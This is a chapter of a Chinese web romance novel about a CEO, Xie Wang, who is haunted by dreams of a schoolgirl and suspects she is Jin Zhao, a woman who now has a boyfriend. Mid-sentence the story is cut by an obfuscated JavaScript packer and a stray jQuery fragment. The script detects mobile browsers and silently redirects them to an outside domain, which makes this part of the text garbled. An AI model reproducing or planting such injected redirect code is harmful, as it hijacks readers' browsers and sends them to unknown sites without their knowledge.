男朋友?!
谢妄心头一震。
要说的话刹那间全都化为乌有。
她……有男朋友?
此刻目光凝聚,两只紧紧握在一起的手,成裕身上的包,今昭的笑都显得格外刺眼。
原本成裕只想给今昭一个惊喜,可当他听见今昭第一次向别人介绍自己是男朋友的那一刻,不可否认,是激动的。掩饰不住的激动。
伸出一只手,“您好,成裕,今昭的男朋友,多谢谢总的照顾。”
谢妄努力克制住自己,眼里的情绪被压制住,憋着一股气握住那只悬在半空中的手。
“你好,梦境的CEO,谢、妄。”
谢妄是个商人,谈判过程中,即使对手再强大,都不能显露出一点破绽,始终拿出气势,在最后一刻拿出底牌——
最引以为傲的底牌。
梦境的CEO就是谢妄的底牌。
谢妄。
在听到名字的那一刻,心中一紧,成裕的眼中闪过一丝慌乱,仔细打量面前的男人,努力把对方身上的各种细节刻在脑海里。
所以,今昭心里一直放不下的是他。
从他脸上,今昭看不出任何异常的情绪。
五官全在说——你谈恋爱,关我屁事。
对啊,喜欢我是那个世界的谢妄,不是这个世界的。
可笑……
“谢总,没什么事我们先回去了。”
谢妄垂着眼眸,一副毫不在意的样子,拨打电话,完全忽视今昭的话语。
电话秒被接通。
“沈助理,现在、马上来接我。”一字一顿,咬牙切齿。
“是,谢总。”话都没说完,“滴”的一声,电话被挂断。
沈助摸不头脑,明明三十分钟前还好好的,怎么现在……
难道今小姐拒绝了谢总。
不是吧。
今小姐怎么勇的吗?
确实,谁叫谢总脾气那么臭。
谁受得了。
车子开过去时,今小姐已不在那,独留下谢总一人。
远远看去,背影有点孤独,是怎么回事。
沈助下车,熟练地帮谢总打开车门。
待谢总坐上后车座,轻轻把门关上。
隔着车门,自言自语:“不会真被甩了吧,表情怎么阴恻恻的,要真被甩了,这几天的日子……”
又要担惊受怕过日子。
坐上驾驶座,系上安全带,调试好后车镜。透过后车镜,见谢总靠着椅背,闭着眼休息。
“谢总,现在是回家吗?”
没回,意为默认。
看这沮丧样,大概是真被甩了。
谢总也有这一天。
哈哈哈哈哈哈哈哈哈……
眼虽闭着,可刚刚的那一幕却一直在脑中放映。
这是什么……
先帝创业未半而中道崩殂?
可笑。
在此之前,谢妄想过一切会被拒绝的可能性,无论什么,都做好死皮赖脸去追的准备。
唯独这个——
谢妄没想过。
因为这个,前面做的一切准备一瞬间全部推翻,化为虚妄。
原来——
谢妄的妄,是妄想的妄。
这晚,时隔许久,谢妄的梦里再次出现那个女孩。
扎着高高的马尾、穿着简单校服。
梦里,周围的一切美好好似幻影,随时都可能消失。女孩的脸被蒙上一层薄雾,怎么都看不清,谢妄也习惯了。
“谢妄。”她轻轻开口。
十几年,第一次,谢妄听到她开口叫自己的名字。
女孩还想再说些什么。
但下一秒,周围美好的幻境在一瞬间倒塌。
二人脚下的地面摇摇晃晃,开始出现裂缝。
谢妄拼尽最后一丝力气,努力抓住她的衣袖。
指尖触碰的瞬间,裂缝扩大。
他手落空。
和她距离越来越远。
谢妄清楚的知道,梦要醒了。
最后一眼,她要消失的前一刻。
谢妄看清了,她校服胸前上的字——
庆安中学。
睁开眼的一瞬,谢妄全身被冷汗浸湿,顾不得其他。
拿起放在床头上的手机。
划开锁屏,点开浏览器。
搜索——庆安中学。
仔细查看每一个字,每一张照片。
陌生、无果。
谢妄靠在床头,暗灭手机屏。
喘着气,努力平复好心情。
仔细想想,一定是漏了什么细节。
梦是在高二开始的,她那时候就穿着校服。代表那时候她也是高中生。
按时间推算,上高中的时间段应该是2010年9月至2013年6月。
搜索栏上,谢妄打字:2010年的庆安中学。
无果。
无论是哪个年份,都无果。
到底是哪处被遗漏。
闭眼回想——
说起庆安,除了是父辈的家乡,也是今昭的家乡。
庆安中学……
谢妄对这个名字有点印象,肯定在哪见过。
敲击屏幕的指尖顿住。
今昭的高中是庆安中学。
那份调查资料还放在公司。
等不了那么久。
凌晨三点,谢妄拨通沈助理的电话。
响了两声,眉眼微微蹙起。
第三声,沈助理终于接通电话。
半夜打电话是常有的事,沈助理早就习惯,大脑还在休息,手已经按下接听键。
熟练说出梦里都会说出的:“谢总,有什么事吗?”
“我问你,今昭的高中是不是庆安中学?”
今昭,是谁啊?
睡得迷迷糊糊,沈助脑子一时间没转过来。
平时今小姐、今主管叫着,差点忘记本名。
睡意消失大半。
“是,今小姐的高中是庆安中学。”
“中途有没有转学?”
“没有。”
“今天上班之前,我要看到关于今昭高中的一切信息,包括照片。”
得,又没得睡了。
上次的调查资料,高中时的信息并不全。
高二的时候,第一次这个梦出现。
回想那次荒谬的想法,不知怎么的,谢妄开始觉得那个女孩就是她。
如果没见过,不可能平白无故梦见。
如果明天的调查资料显示,高中时的她穿着那套校服,去过某地,那一处谢妄当时也正好去过。
就可能会遇到。
一切就说得通。
送完小晓他们回家,送成裕回家的路上。
密闭的空间,人的感官放大。发动机的声音在此刻格外刺耳。
成裕在心中犹豫良久,终于问出:“今昭。”
“嗯?”
“你和谢总很熟吗?”
很熟吗?
当然不熟。
“不熟。怎么了吗?”
“没有,就问问。”
害怕吗?
害怕。
白月光的杀伤力太大。
十几年前的随手帮助,使成裕在之后的日子对记忆里的女孩恋恋不忘。
自己都是如此,成裕不会要求今昭心里只有他一人。
哪怕是恋恋不忘,
哪怕不爱,
哪怕是替身,
成裕都不愿今昭抛下自己。
之后的一路,二人都没怎么主动开口,各有各的心事。
最近的事太多,送回成裕后,今昭回到家舒舒服服洗个热水澡,眼皮困得直打盹,连酒都懒得喝了,收拾完立马上床睡觉。
一睁眼,今昭发现自己不在柔软的大床上,周围熟悉的场景,提醒着自己这是庆安中学。
察觉到身在何处,刹那间僵在原地。
我这是又回来了?
一阵恍惚后,今昭眼眶湿润,大声呼喊:“死系统,你给我出来。”
……
如以前一般,它没有任何回应,真正就是一个冰冷的机器。
用2026年趋势来说,好似一个AI,察觉不到任何人类的喜怒哀乐,只会遵守程序员的编码,只会冰冷、理性回应你最优方案,没有自主意识,没有温度。
“今昭。”
这个声音,今昭永远不会忘记。
呼吸一滞,缓缓转过身来。
是他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643979|204182||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
记忆里的少年还是和之前一样,没有任何变化。
轻轻唤出:“谢妄。”
时隔多年,今昭再次对他叫出这个名字。
他的态度冷淡,始终和她保持一段距离。
眼里的温柔不复存在,取而代之的是一种看垃圾的眼神,口气淡得就像是在说一件毫无关系的事。
“今昭,你还有脸出现在我面前。”
话落,今昭瞳孔骤缩,周围的一切快速坍塌。
梦境世界破碎。
今昭无动于衷,想说的话停在喉咙里,最后全都化为一抹苦笑。
果然,他恨我。
今昭笑了,释然地笑了。
再次睁眼,温暖的被窝,熟悉的屋饰,一切的感知传入大脑。
原来——
那只是梦。
次日一早,上班前,沈助理准时将资料送到办公室。
“你先出去。”
等沈助出门的那一刻,谢妄迫不及待地翻看资料。
也许,困扰自己十多年的梦,终于能在此刻解开。
一页页翻去,高中三年今昭从未离开过庆安,哪怕是旅游都没有。
除了校服是一样的,其他都不一样,所有照片里的今昭扎得都是低马尾,不是高马尾。
和梦里不一样。
所有的猜想都不成立。
是我想错了吗?
可是,为什么?会那么像。
谢妄闭眼休息,脑中思绪万千。
可能,就只是背影像。
可能,梦里的女孩根本就不存在。
最近发生的事太多,太累。
谢妄需要一个倾诉的对象。
轻叹声,按下内部线:“沈助理,订一张周六去北棠的机票。”
成片剪好,照片P好,张姐那边确认好后,赶在周五下班前的最后一刻,把所有打包好通过邮件发给梦境。
这样一来,他们想找茬也只能下周一。
最起码能安心度过一个周末。
周六一早,谢妄坐上去北棠的飞机。
沈助理安排好一切,一落地,专职司机准时来接。
路上,沈助理坐在副驾,来回滑动手机里的日程表,“谢总,和董事长吃饭的时间是在晚上六点。”
“嗯。”
下车前,谢妄对沈助道:“不用跟着我,结束会发消息给你。”
“好的,谢总。”
心理辅导停了快十年。
如今竟为了解开一个梦,大费周章跑来北棠。
谢妄觉得自己大概是疯了。
敲门,在里面传来“请进。”
推门进去,故作轻松,“何医生。”
何医生停下手中的笔,“好久不久啊,坐。”说着,站起身走到旁边的饮水台,倒了一杯水,放在谢妄面前,“抱歉,现在只有水。”
“没事。”
面对面坐下,“我就知道总有一天你还会回来。”
谢妄:?
何医生看出谢妄的疑虑,笑着扶了扶眼镜:“知道为什么换了那么多医生,你还是会梦见那个女孩吗?”
谢妄摇摇头,“不知道,前几年还好一点,但最近越来越频繁。”
“因为你根本不想忘记那个女孩。”
“怎么可能。”谢妄觉得可笑。
“之前的几次治疗,我发现你深层意识下,是抗拒的。”
“这是什么意思?”
“每次治疗里,你大脑都会有自我保护的迹象,代表你本身对治疗这件事就是抵触的。”
何医生接着道:“你说你前几年还好,最近却越来越频繁,最近有没有遇到什么人?或者在梦里有没有发现什么?”
话落,谢妄脑中出现的人是——今昭。
喉结动了动,“有,最近我遇到一个人。偶然间,发现高中时的她和梦里的女孩特别像,起初我没当回事,可前不久,我在梦里看到,她校服上写着‘庆安中学’。后来我调查她,发现她高中也是那所学校,校服对的上。”
“之前和她见过吗?”
“没有,我查过她,所以我敢确定之前从未见过她。”
“这么多年只有这个女孩让你觉得像?”
“嗯,只有她。”